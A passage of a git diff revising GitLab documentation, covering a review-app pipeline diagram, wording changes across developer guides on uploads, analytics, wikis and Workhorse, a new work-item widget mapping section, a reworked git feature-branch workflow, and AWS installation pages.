URL](https://sentry.gitlab.net/gitlab/gitlab-review-apps/?query=url%3A%22https%3A%2F%2Fgitlab-review-require-ve-u92nn2.gitlab-review.app%2F%22) or [commit SHA](https://sentry.gitlab.net/gitlab/gitlab-review-apps/releases/6095b501da7/all-events/). @@ -129,31 +134,28 @@ resource.labels.pod_name:"review-qa-raise-e-12chm0-migrations" ```mermaid graph TD A["build-qa-image, compile-production-assets<br/>(canonical default refs only)"]; + B1[start-review-app-pipeline]; B[review-build-cng]; - C[review-deploy]; + C["review-deploy<br><br>Helm deploys the review app using the Cloud<br/>Native images built by the CNG-mirror pipeline.<br><br>Cloud Native images are deployed to the `review-apps`<br>Kubernetes (GKE) cluster, in the GCP `gitlab-review-apps` project."]; D[CNG-mirror]; - E[review-qa-smoke, review-qa-reliable]; + E[review-qa-smoke, review-qa-blocking, review-qa-non-blocking<br><br>gitlab-qa runs the e2e tests against the review app.]; - A -->|once the `prepare` stage is done| B - B -.->|triggers a CNG-mirror pipeline and wait for it to be done| D - D -.->|polls until completed| B - B -->|once the `review-build-cng` job is done| C - C -->|once the `review-deploy` job is done| E + A --> B1 + B1 --> B + B -.->|triggers a CNG-mirror pipeline| D + D -.->|depends on the multi-project pipeline| B + B --> C + C --> E -subgraph "1. gitlab `prepare` stage" +subgraph "1. gitlab-org/gitlab parent pipeline" A + B1 end -subgraph "2. gitlab `review-prepare` stage" +subgraph "2. gitlab-org/gitlab child pipeline" B - end - -subgraph "3. gitlab `review` stage" - C["review-deploy<br><br>Helm deploys the review app using the Cloud<br/>Native images built by the CNG-mirror pipeline.<br><br>Cloud Native images are deployed to the `review-apps`<br>Kubernetes (GKE) cluster, in the GCP `gitlab-review-apps` project."] - end - -subgraph "4. gitlab `qa` stage" - E[review-qa-smoke, review-qa-reliable<br><br>gitlab-qa runs the smoke and reliable suites against the review app.] + C + E end subgraph "CNG-mirror pipeline" diff --git a/doc/development/transient/prevention-patterns.md b/doc/development/transient/prevention-patterns.md index 98634df22e9..730cc757396 100644 --- a/doc/development/transient/prevention-patterns.md +++ b/doc/development/transient/prevention-patterns.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Preventing Transient Bugs -This page will cover architectural patterns and tips for developers to follow to prevent [transient bugs.](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#transient-bugs) +This page covers architectural patterns and tips for developers to follow to prevent [transient bugs.](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#transient-bugs) ## Common root causes @@ -21,7 +21,7 @@ We've noticed a few root causes that come up frequently when addressing transien ### Don't rely on response order -When working with multiple requests, it's easy to assume the order of the responses will match the order in which they are triggered. +When working with multiple requests, it's easy to assume the order of the responses matches the order in which they are triggered. That's not always the case and can cause bugs that only happen if the order is switched. diff --git a/doc/development/uploads/working_with_uploads.md b/doc/development/uploads/working_with_uploads.md index a3951fb4c7e..6955f9c31cd 100644 --- a/doc/development/uploads/working_with_uploads.md +++ b/doc/development/uploads/working_with_uploads.md @@ -38,7 +38,7 @@ is: File.join(model.class.underscore, mounted_as.to_s, model.id.to_s) ``` -If you look around in the GitLab code base you will find quite a few +If you look around in the GitLab code base you find quite a few Uploaders that have their own storage location. For object storage, this means Uploaders have their own buckets. We now **discourage** adding new buckets for the following reasons: @@ -53,7 +53,7 @@ and friction. The `Gitlab.config.uploads` storage location, which is what ## Implementing Direct Upload support -Below we will outline how to implement [direct upload](#direct-upload-via-workhorse) support. +Below we outline how to implement [direct upload](#direct-upload-via-workhorse) support. Using direct upload is not always necessary but it is usually a good idea. Unless the uploads handled by your feature are both infrequent @@ -107,7 +107,7 @@ You should also manually verify that when you perform an upload request for your new feature, Workhorse makes a pre-authorization request. You can check this by looking at the Rails access logs. This is necessary because if you make a mistake in your routing rule you -won't get a hard failure: you just end up using the less efficient +don't get a hard failure: you just end up using the less efficient default path. ### Adding a pre-authorization endpoint @@ -123,8 +123,8 @@ Consider accepting your file upload via Grape instead. For Grape pre-authorization endpoints, look for existing examples that implement `/authorize` routes. One example is the [POST `:id/uploads/authorize` endpoint](https://gitlab.com/gitlab-org/gitlab/-/blob/9ad53d623eecebb799ce89eada951e4f4a59c116/lib/api/projects.rb#L642-651). -Note that this particular example is using FileUploader, which means -that the upload will be stored in the storage location (bucket) of +This particular example is using FileUploader, which means +that the upload is stored in the storage location (bucket) of that Uploader class. For Rails endpoints you can use the @@ -154,7 +154,7 @@ scale. GitLab uses a modified version of [CarrierWave](https://github.com/carrierwaveuploader/carrierwave) to -manage uploads. Below we will describe how we use CarrierWave and how +manage uploads. Below we describe how we use CarrierWave and how we modified it. The central concept of CarrierWave is the **Uploader** class. The @@ -197,15 +197,15 @@ particular, you currently cannot use the `version` mechanism of CarrierWave. Things you can do include: - Filename validation -- **Incompatible with direct upload:** One time pre-processing of file contents, e.g. image resizing +- **Incompatible with direct upload:** One time pre-processing of file contents, for example, image resizing - **Incompatible with direct upload:** Encryption at rest -Note that CarrierWave pre-processing behaviors such as image resizing +CarrierWave pre-processing behaviors such as image resizing or encryption require local access to the uploaded file. This forces you to upload the processed file from Ruby. This flies against direct upload, which is all about _not_ doing the upload in Ruby. If you use direct upload with an Uploader with pre-processing behaviors then the -pre-processing behaviors will be skipped silently. +pre-processing behaviors are skipped silently. ### CarrierWave Storage engines @@ -218,7 +218,7 @@ CarrierWave has 2 storage engines: GitLab uses both of these engines, depending on configuration. -The normal way to choose a storage engine in CarrierWave is to use the +The typical way to choose a storage engine in CarrierWave is to use the `Uploader.storage` class method. In GitLab we do not do this; we have overridden `Uploader#storage` instead. This allows us to vary the storage engine file by file. @@ -228,13 +228,13 @@ storage engine file by file. An Uploader is associated with two storage areas: regular storage and cache storage. Each has its own storage engine. If you assign a file to a mount point setter (`project.avatar = File.open('/tmp/tanuki.png')`) -you will copy/move the file to cache +you have to copy/move the file to cache storage as a side effect via the `cache!` method. To persist the file you must somehow call the `store!` method. This either happens via [ActiveRecord callbacks](https://github.com/carrierwaveuploader/carrierwave/blob/v1.3.2/lib/carrierwave/orm/activerecord.rb#L55) or by calling `store!` on an Uploader instance. -Normally you do not need to interact with `cache!` and `store!` but if +Typically you do not need to interact with `cache!` and `store!` but if you need to debug GitLab CarrierWave modifications it is useful to know that they are there and that they always get called. Specifically, it is good to know that CarrierWave pre-processing @@ -278,7 +278,7 @@ Direct upload works as follows. 1. Rails deletes the temporary upload 1. Workhorse deletes the temporary upload a second time in case Rails timed out -Normally, `cache!` returns an instance of +Typically, `cache!` returns an instance of `CarrierWave::SanitizedFile`, and `store!` then [uploads that file using Fog](https://github.com/carrierwaveuploader/carrierwave/blob/v1.3.2/lib/carrierwave/storage/fog.rb#L327-L335). @@ -294,7 +294,7 @@ this file to its intended location. ## Tables -The Scalability::Frameworks team is going to make object storage and uploads more easy to use and more robust. If you add or change uploaders, it helps us if you update this table too. This helps us keep an overview of where and how uploaders are used. +The Scalability::Frameworks team is making object storage and uploads more easy to use and more robust. If you add or change uploaders, it helps us if you update this table too. This helps us keep an overview of where and how uploaders are used. ### Feature bucket details diff --git a/doc/development/value_stream_analytics.md b/doc/development/value_stream_analytics.md index 33a6744d5cd..77a32b62e32 100644 --- a/doc/development/value_stream_analytics.md +++ b/doc/development/value_stream_analytics.md @@ -261,7 +261,7 @@ considered legacy, which will be phased out at some point. - Rails Controller (`Analytics::CycleAnalytics` module): Value stream analytics exposes its data via JSON endpoints, implemented within the `analytics` workspace. Configuring the stages are also implements JSON endpoints (CRUD). - Services (`Analytics::CycleAnalytics` module): All `Stage` related actions are delegated to respective service objects. -- Models (`Analytics::CycleAnalytics` module): Models are used to persist the `Stage` objects `ProjectStage` and `Stage`. +- Models (`Analytics::CycleAnalytics` module): Models are used to persist the `Stage` objects. - Feature classes (`Gitlab::Analytics::CycleAnalytics` module): - Responsible for composing queries and define feature specific business logic. - `DataCollector`, `Event`, `StageEvents`, etc. diff --git a/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md b/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md index 3d1286a5809..4d2a751e6c6 100644 --- a/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md +++ b/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md @@ -31,7 +31,7 @@ for long-term growth. Our main database is not prepared for analytical workloads. Executing long-running queries can affect the reliability of the application. For large groups, the current implementation (old backend) is slow and, in some cases, doesn't even load due to the configured -statement timeout (15s). +statement timeout (15 s). The database queries in the old backend use the core domain models directly through `IssuableFinders` classes: ([MergeRequestsFinder](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/finders/merge_requests_finder.rb) and [IssuesFinder](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/finders/issues_finder.rb)). @@ -62,7 +62,7 @@ different development workflows within the `Test Group` (top-level namespace). The first value stream uses standard timestamp-based events for defining the stages. The second value stream uses label events. -Each value stream and stage item from the example will be persisted in the database. Notice that +Each value stream and stage item from the example is persisted in the database. Notice that the `Deployment` stage is identical for both value streams; that means that the underlying `stage_event_hash_id` is the same for both stages. The `stage_event_hash_id` reduces the amount of data the backend collects and plays a vital role in database partitioning. @@ -111,8 +111,8 @@ the service performs operations in batches and enforces strict application limit later. - Continue processing data from a specific point. -As of GitLab 14.7, the data loading is done manually. Once the feature is ready, the service will -be invoked periodically by the system via a cron job (this part is not implemented yet). +As of GitLab 14.7, the data loading is done manually. Once the feature is ready, the service is +invoked periodically by the system via a cron job (this part is not implemented yet). #### Record iteration @@ -193,7 +193,7 @@ aggregated data separated, we use two additional database tables: - `analytics_cycle_analytics_merge_request_stage_events` Both tables are hash partitioned by the `stage_event_hash_id`. Each table uses 32 partitions. It's -an arbitrary number and it could be changed. Important is to keep the partitions under 100GB in +an arbitrary number and it could be changed. Important is to keep the partitions under 100 GB in size (which gives the feature a lot of headroom). |Column|Description| diff --git a/doc/development/wikis.md b/doc/development/wikis.md index 4541b6cca66..acb7ed335d3 100644 --- a/doc/development/wikis.md +++ b/doc/development/wikis.md @@ -12,7 +12,7 @@ description: "GitLab's development guidelines for Wikis" ## Overview The wiki functionality in GitLab is based on [Gollum 4.x](https://github.com/gollum/gollum/). -It's used in [Gitaly's](gitaly.md) Ruby service, and accessed from the Rails app through Gitaly RPC calls. +It's used in the [Gitaly](gitaly.md) Ruby service, and accessed from the Rails app through Gitaly RPC calls. Wikis use Git repositories as storage backend, and can be accessed through: @@ -40,9 +40,9 @@ We only use Gollum as a storage abstraction layer, to handle the mapping between When rendering wiki pages, we don't use Gollum at all and instead go through a [custom Banzai pipeline](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/pipeline/wiki_pipeline.rb). -This adds some [wiki-specific markup](../user/markdown.md#wiki-specific-markdown), such as Gollum's `[[link]]` syntax. +This adds some [wiki-specific markup](../user/markdown.md#wiki-specific-markdown), such as the Gollum `[[link]]` syntax. -Because we do not make use of most of Gollum's features, we plan to move away from it entirely at some point. +Because we do not make use of most of the Gollum features, we plan to move away from it entirely at some point. [See this epic](https://gitlab.com/groups/gitlab-org/-/epics/2381) for reference. ## Model classes diff --git a/doc/development/work_items_widgets.md b/doc/development/work_items_widgets.md index ba15a3f0163..5b9602595bb 100644 --- a/doc/development/work_items_widgets.md +++ b/doc/development/work_items_widgets.md @@ -112,3 +112,28 @@ for work items widgets development: - `ee/app/assets/javascripts/boards/components/assignee_select.vue` - `ee/app/assets/javascripts/boards/components/milestone_select.vue` + +## Mapping widgets to work item types + +All Work Item types share the same pool of predefined widgets and are customized by which widgets are active on a specific type. Because we plan to allow users to create new Work Item types and define a set of widgets for them, mapping of widgets for each Work Item type is stored in database. Mapping of widgets is stored in widget_definitions table and it can be used for defining widgets both for default Work Item types and also in future for custom types. More details about expected database table structure can be found in [this issue description](https://gitlab.com/gitlab-org/gitlab/-/issues/374092). + +### Adding new widget to a work item type + +Because information about what widgets are assigned to each work item type is stored in database, adding new widget to a work item type needs to be done through a database migration. Also widgets importer (`lib/gitlab/database_importers/work_items/widgets_importer.rb`) should be updated. + +### Structure of widget definitions table + +Each record in the table defines mapping of a widget to a work item type. Currently only "global" definitions (definitions with NULL namespace_id) are used. In next iterations we plan to allow customization of these mappings. For example table below defines that: + +- Weight widget is enabled for work item types 0 and 1 +- in namespace 1 Weight widget is renamed to MyWeight. When user renames widget's name, it makes sense to rename all widget mappings in the namespace - because `name` attribute is denormalized, we have to create namespaced mappings for all work item types for this widget type. +- Weight widget can be disabled for specific work item types (in namespace 3 it's disabled for work item type 0, while still left enabled for work item type 1) + +| ID | Namespace_id | Work_item_type_id | Widget_type_enum | Position | Name | Disabled | +|----| ------------ | ----------------- |----------------- |--------- |---------- |-------| +| 1 | | 0 | 1 | 1 | Weight | false | +| 2 | | 1 | 1 | 1 | Weight | false | +| 3 | 1 | 0 | 1 | 0 | MyWeight | false | +| 4 | 1 | 1 | 1 | 0 | MyWeight | false | +| 5 | 2 | 0 | 1 | 1 | Other Weight | false | +| 6 | 3 | 0 | 1 | 1 | Weight | true | diff --git a/doc/development/workhorse/gitlab_features.md b/doc/development/workhorse/gitlab_features.md index 8b899242935..b4146e8b62c 100644 --- a/doc/development/workhorse/gitlab_features.md +++ b/doc/development/workhorse/gitlab_features.md @@ -12,7 +12,7 @@ GitLab that would not work efficiently without Workhorse. To put the efficiency benefit in context, consider that in 2020Q3 on GitLab.com [we see](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=sum(ruby_process_resident_memory_bytes%7Bapp%3D%22webservice%22%2Cenv%3D%22gprd%22%2Crelease%3D%22gitlab%22%7D)%20%2F%20sum(puma_max_threads%7Bapp%3D%22webservice%22%2Cenv%3D%22gprd%22%2Crelease%3D%22gitlab%22%7D)&g0.tab=1&g1.range_input=1h&g1.max_source_resolution=0s&g1.expr=sum(go_memstats_sys_bytes%7Bapp%3D%22webservice%22%2Cenv%3D%22gprd%22%2Crelease%3D%22gitlab%22%7D)%2Fsum(go_goroutines%7Bapp%3D%22webservice%22%2Cenv%3D%22gprd%22%2Crelease%3D%22gitlab%22%7D)&g1.tab=1) Rails application threads using on average -about 200MB of RSS vs about 200KB for Workhorse goroutines. +about 200 MB of RSS vs about 200 KB for Workhorse goroutines. Examples of features that rely on Workhorse: @@ -66,7 +66,6 @@ memory than it costs to have Workhorse look after it. - Workhorse does not connect to PostgreSQL, only to Rails and (optionally) Redis. - We assume that all requests that reach Workhorse pass through an upstream proxy such as NGINX or Apache first. -- Workhorse does not accept HTTPS connections. - Workhorse does not clean up idle client connections. - We assume that all requests to Rails pass through Workhorse. diff --git a/doc/gitlab-basics/add-file.md b/doc/gitlab-basics/add-file.md index 95b8b59a48d..05731f93605 100644 --- a/doc/gitlab-basics/add-file.md +++ b/doc/gitlab-basics/add-file.md @@ -37,7 +37,7 @@ You can also [switch to an existing branch](start-using-git.md#switch-to-a-branc if you have one already. Using your standard tool for copying files (for example, Finder in macOS, or File Explorer -on Windows), put the file into a directory within the GitLab project. +on Windows), put the file into a directory in the GitLab project. Check if your file is actually present in the directory (if you're on Windows, use `dir` instead): diff --git a/doc/gitlab-basics/feature_branch_workflow.md b/doc/gitlab-basics/feature_branch_workflow.md index de051c67bc2..ce4aa0007c6 100644 --- a/doc/gitlab-basics/feature_branch_workflow.md +++ b/doc/gitlab-basics/feature_branch_workflow.md @@ -7,19 +7,23 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/workflow.html' # Feature branch workflow **(FREE)** -1. Clone project: +To merge changes from a local branch to a feature branch, follow this workflow. + +1. Clone the project if you haven't already: ```shell git clone git@example.com:project-name.git ``` -1. Create branch with your feature: +1. Change directories so you are in the project directory. +1. Create a branch for your feature: ```shell git checkout -b feature_name ``` -1. Write code. Commit changes: +1. Write code for the feature. +1. Add the code to the staging area and add a commit message for your changes: ```shell git commit -am "My feature is ready" @@ -31,8 +35,6 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/workflow.html' git push origin feature_name ``` -1. Review your code on commits page. - -1. Create a merge request. - +1. Review your code: On the left sidebar, go to **Repository > Commits**. +1. [Create a merge request](../user/project/merge_requests/creating_merge_requests.md). 1. Your team lead reviews the code and merges it to the main branch. diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md index addeb4bee3a..224d1fabb14 100644 --- a/doc/gitlab-basics/start-using-git.md +++ b/doc/gitlab-basics/start-using-git.md @@ -6,7 +6,7 @@ type: howto, tutorial description: "Introduction to using Git through the command line." --- -# Git on the command line **(FREE)** +# Command line Git **(FREE)** [Git](https://git-scm.com/) is an open-source distributed version control system. GitLab is built on top of Git. @@ -37,7 +37,7 @@ prompt, command shell, and command line). Here are some options: - [iTerm2](https://iterm2.com/). You can integrate it with [Zsh](https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Zsh) and [Oh My Zsh](https://ohmyz.sh/) for color highlighting and other advanced features. - For Windows users: - Built-in command line. On the Windows taskbar, select the search icon and type `cmd`. - - [PowerShell](https://learn.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-windows-powershell?view=powershell-7). + - [PowerShell](https://learn.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-windows-powershell?view=powershell-7.3&viewFallbackFrom=powershell-7). - Git Bash. It is built into [Git for Windows](https://gitforwindows.org/). - For Linux users: - Built-in [Linux Terminal](https://ubuntu.com/tutorials/command-line-for-beginners#3-opening-a-terminal). @@ -98,7 +98,7 @@ access on GitLab.com or any other GitLab instance. To use the repository in the examples on this page: 1. Go to [https://gitlab.com/gitlab-tests/sample-project/](https://gitlab.com/gitlab-tests/sample-project/). -1. In the top right, select **Fork**. +1. In the upper right, select **Fork**. 1. Choose a namespace for your fork. The project becomes available at `https://gitlab.com/<your-namespace>/sample-project/`. diff --git a/doc/index.md b/doc/index.md index 88b8c653aae..492320d93aa 100644 --- a/doc/index.md +++ b/doc/index.md @@ -59,7 +59,7 @@ GitLab provides solutions for [each of the stages of the DevOps lifecycle](https ### User account -Learn more about GitLab account management: +For more information about GitLab account management, see: | Topic | Description | |:-----------------------------------------------------------|:------------| @@ -83,7 +83,7 @@ There are many ways to integrate with GitLab, including: | Topic | Description | |:-------------------------------------------|:------------| -| [GitLab REST API](api/index.md) | Integrate with GitLab using our REST API. | +| [GitLab REST API](api/rest/index.md) | Integrate with GitLab using our REST API. | | [GitLab GraphQL API](api/graphql/index.md) | Integrate with GitLab using our GraphQL API. | | [Integrations](integration/index.md) | Integrations with third-party products. | diff --git a/doc/install/aws/gitlab_hybrid_on_aws.md b/doc/install/aws/gitlab_hybrid_on_aws.md index ef7d4ac0f69..b8c840782b1 100644 --- a/doc/install/aws/gitlab_hybrid_on_aws.md +++ b/doc/install/aws/gitlab_hybrid_on_aws.md @@ -19,7 +19,7 @@ Amazon provides a managed Kubernetes service offering known as [Amazon Elastic K | [2K Omnibus](../../administration/reference_architectures/2k_users.md) | [2K Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/2k) | [2K Cloud Native Hybrid on EKS](#2k-cloud-native-hybrid-on-eks) | GPT Test Results | [1 YR Ec2 Compute Savings + 1 YR RDS & ElastiCache RIs](https://calculator.aws/#/estimate?id=544bcf1162beae6b8130ad257d081cdf9d4504e3)<br />(2 AZ Cost Estimate is in BOM Below) | | [3K](../../administration/reference_architectures/3k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [3k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/3k) | [3K Cloud Native Hybrid on EKS](#3k-cloud-native-hybrid-on-eks) | [3K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216_results.txt)<br /><br />[3K Elastic Auto Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-AutoScale-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_194200/3k-QuickStart-AutoScale-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_194200_results.txt) | [1 YR Ec2 Compute Savings + 1 YR RDS & ElastiCache RIs](https://calculator.aws/#/estimate?id=f1294fec554e21be999711cddcdab9c5e7f83f14)<br />(2 AZ Cost Estimate is in BOM Below) | | [5K](../../administration/reference_architectures/5k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [5k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/5k) | [5K Cloud Native Hybrid on EKS](#5k-cloud-native-hybrid-on-eks) | [5K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128_results.txt)<br /><br />[5K AutoScale from 25% GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-AutoScale-From-25Percent-ARM-RDS-Redis_v13-12-3-ee_2021-07-24_102717/5k-QuickStart-AutoScale-From-25Percent-ARM-RDS-Redis_v13-12-3-ee_2021-07-24_102717_results.txt) | [1 YR Ec2 Compute Savings + 1 YR RDS & ElastiCache RIs](https://calculator.aws/#/estimate?id=330ee43c5b14662db5df6e52b34898d181a09e16) | -| [10K](../../administration/reference_architectures/10k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [10k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/10k) | [10K Cloud Native Hybrid on EKS](#10k-cloud-native-hybrid-on-eks) | [10K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647_results.txt)<br /><br />[10K Elastic Auto Scale GPT Test Results](hhttps://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139_results.txt) | [10K 1 YR Ec2 Compute Savings + 1 YR RDS & ElastiCache RIs](https://calculator.aws/#/estimate?id=5ac2e07a22e01c36ee76b5477c5a046cd1bea792) | +| [10K](../../administration/reference_architectures/10k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [10k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/10k) | [10K Cloud Native Hybrid on EKS](#10k-cloud-native-hybrid-on-eks) | [10K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647_results.txt)<br /><br />[10K Elastic Auto Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139_results.txt) | [10K 1 YR Ec2 Compute Savings + 1 YR RDS & ElastiCache RIs](https://calculator.aws/#/estimate?id=5ac2e07a22e01c36ee76b5477c5a046cd1bea792) | | [50K](../../administration/reference_architectures/50k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [50k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/50k) | [50K Cloud Native Hybrid on EKS](#50k-cloud-native-hybrid-on-eks) | [50K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819_results.txt)<br /><br />[10K Elastic Auto Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633.txt) | [50K 1 YR Ec2 Compute Savings + 1 YR RDS & ElastiCache RIs](https://calculator.aws/#/estimate?id=b9c9d6ac1d4a7848011d2050cef3120931fb7c22) | \*Cost calculations for actual implementations are a rough guideline with the following considerations: @@ -34,7 +34,7 @@ Amazon provides a managed Kubernetes service offering known as [Amazon Elastic K The [GitLab Environment Toolkit (GET)](https://gitlab.com/gitlab-org/gitlab-environment-toolkit/-/blob/main/README.md) is an effort made by GitLab to create a multi-cloud, multi-GitLab (Omnibus + Cloud Native Hybrid) toolkit to provision GitLab. GET is developed by GitLab developers and is open to community contributions. GET is where GitLab is investing its resources as the primary option for Infrastructure as Code, and is being actively used in production as a part of [GitLab Dedicated](../../subscriptions/gitlab_dedicated/index.md). -Read the [GitLab Environment Toolkit (GET) direction](https://gitlab.com/gitlab-org/gitlab-environment-toolkit/-/blob/main/README.md#direction) to learn more about the project and where it is going. +For more information about the project, see [GitLab Environment Toolkit](https://gitlab.com/gitlab-org/gitlab-environment-toolkit/-/blob/main/README.md). The [AWS Quick Start for GitLab Cloud Native Hybrid on EKS](https://aws-quickstart.github.io/quickstart-eks-gitlab/) is developed by AWS, GitLab, and the community that contributes to AWS Quick Starts, whether directly to the GitLab Quick Start or to the underlying Quick Start dependencies GitLab inherits (for example, EKS Quick Start). diff --git a/doc/install/aws/index.md b/doc/install/aws/index.md index 05db439ffcd..99ba05925a5 100644 --- a/doc/install/aws/index.md +++ b/doc/install/aws/index.md @@ -51,10 +51,25 @@ Known issues are gathered from within GitLab and from customer reported issues. See the [GitLab AWS known issues list](https://gitlab.com/gitlab-com/alliances/aws/public-tracker/-/issues?label_name%5B%5D=AWS+Known+Issue) for a complete list. -## Official GitLab releases as AMIs +## Provision a single GitLab instance on AWS + +If you want to provision a single GitLab instance on AWS, you have two options: + +- The marketplace subscription +- The official GitLab AMIs + +### Marketplace subscription + +GitLab provides a 5 user subscription as an AWS Marketplace subscription to help teams of all sizes to get started with an Ultimate licensed instance in record time. The Marketplace subscription can be easily upgraded to any GitLab licensing via an AWS Marketplace Private Offer, with the convenience of continued AWS billing. No migration is necessary to obtain a larger, non-time based license from GitLab. Per-minute licensing is automatically removed when you accept the private offer. + +For a tutorial on provisioning a GitLab Instance via a Marketplace Subscription, [use this tutorial](https://gitlab.awsworkshop.io/040_partner_setup.html). The tutorial links to the [GitLab Ultimate Marketplace Listing](https://aws.amazon.com/marketplace/pp/prodview-g6ktjmpuc33zk), but you can also use the [GitLab Premium Marketplace Listing](https://aws.amazon.com/marketplace/pp/prodview-amk6tacbois2k) to provision an instance. + +### Official GitLab releases as AMIs GitLab produces Amazon Machine Images (AMI) during the regular release process. The AMIs can be used for single instance GitLab installation or, by configuring `/etc/gitlab/gitlab.rb`, can be specialized for specific GitLab service roles (for example a Gitaly server). Older releases remain available and can be used to migrate an older GitLab server to AWS. +Initial licensing can either be the Free Enterprise License (EE) or the open source Community Edition (CE). The Enterprise Edition provides the easiest path forward to a licensed version if the need arises. + Currently the Amazon AMI uses the Amazon prepared Ubuntu AMI (x86 and ARM are available) as its starting point. NOTE: diff --git a/doc/install/aws/manual_install_aws.md b/doc/install/aws/manual_install_aws.md index 5d8138e4705..51ae16ccd17 100644 --- a/doc/install/aws/manual_install_aws.md +++ b/doc/install/aws/manual_install_aws.md @@ -613,7 +613,7 @@ Remember to run `sudo gitlab-ctl reconfigure` after saving the changes to the `g The public SSH keys for users allowed to access GitLab are stored in `/var/opt/gitlab/.ssh/authorized_keys`. Typically we'd use shared storage so that all the instances are able to access this file when a user performs a Git action over SSH. Because we do not have shared storage in our setup, we update our configuration to authorize SSH users via indexed lookup in the GitLab database. -Follow the instructions at [Setting up fast lookup via GitLab Shell](../../administration/operations/fast_ssh_key_lookup.md#setting-up-fast-lookup-via-gitlab-shell) to switch from using the `authorized_keys` file to the database. +Follow the instructions at [Set up fast SSH key lookup](../../administration/operations/fast_ssh_key_lookup.md#set-up-fast-lookup) to switch from using the `authorized_keys` file to the database. If you do not configure fast lookup, Git actions over SSH results in the following error: @@ -732,8 +732,8 @@ Because our instances are created by the auto scaling group, go back to your ins Apart from Amazon's Cloudwatch which you can enable on various services, GitLab provides its own integrated monitoring solution based on Prometheus. -For more information on how to set it up, visit the -[GitLab Prometheus documentation](../../administration/monitoring/prometheus/index.md) +For more information about how to set it up, see +[GitLab Prometheus](../../administration/monitoring/prometheus/index.md). GitLab also has various [health check endpoints](../../user/admin_area/monitoring/health_check.md) that you can ping and get reports. diff --git a/doc/install/azure/index.md b/doc/install/azure/index.md index 9d825bbadcd..d92859d518f 100644 --- a/doc/install/azure/index.md +++ b/doc/install/azure/index.md @@ 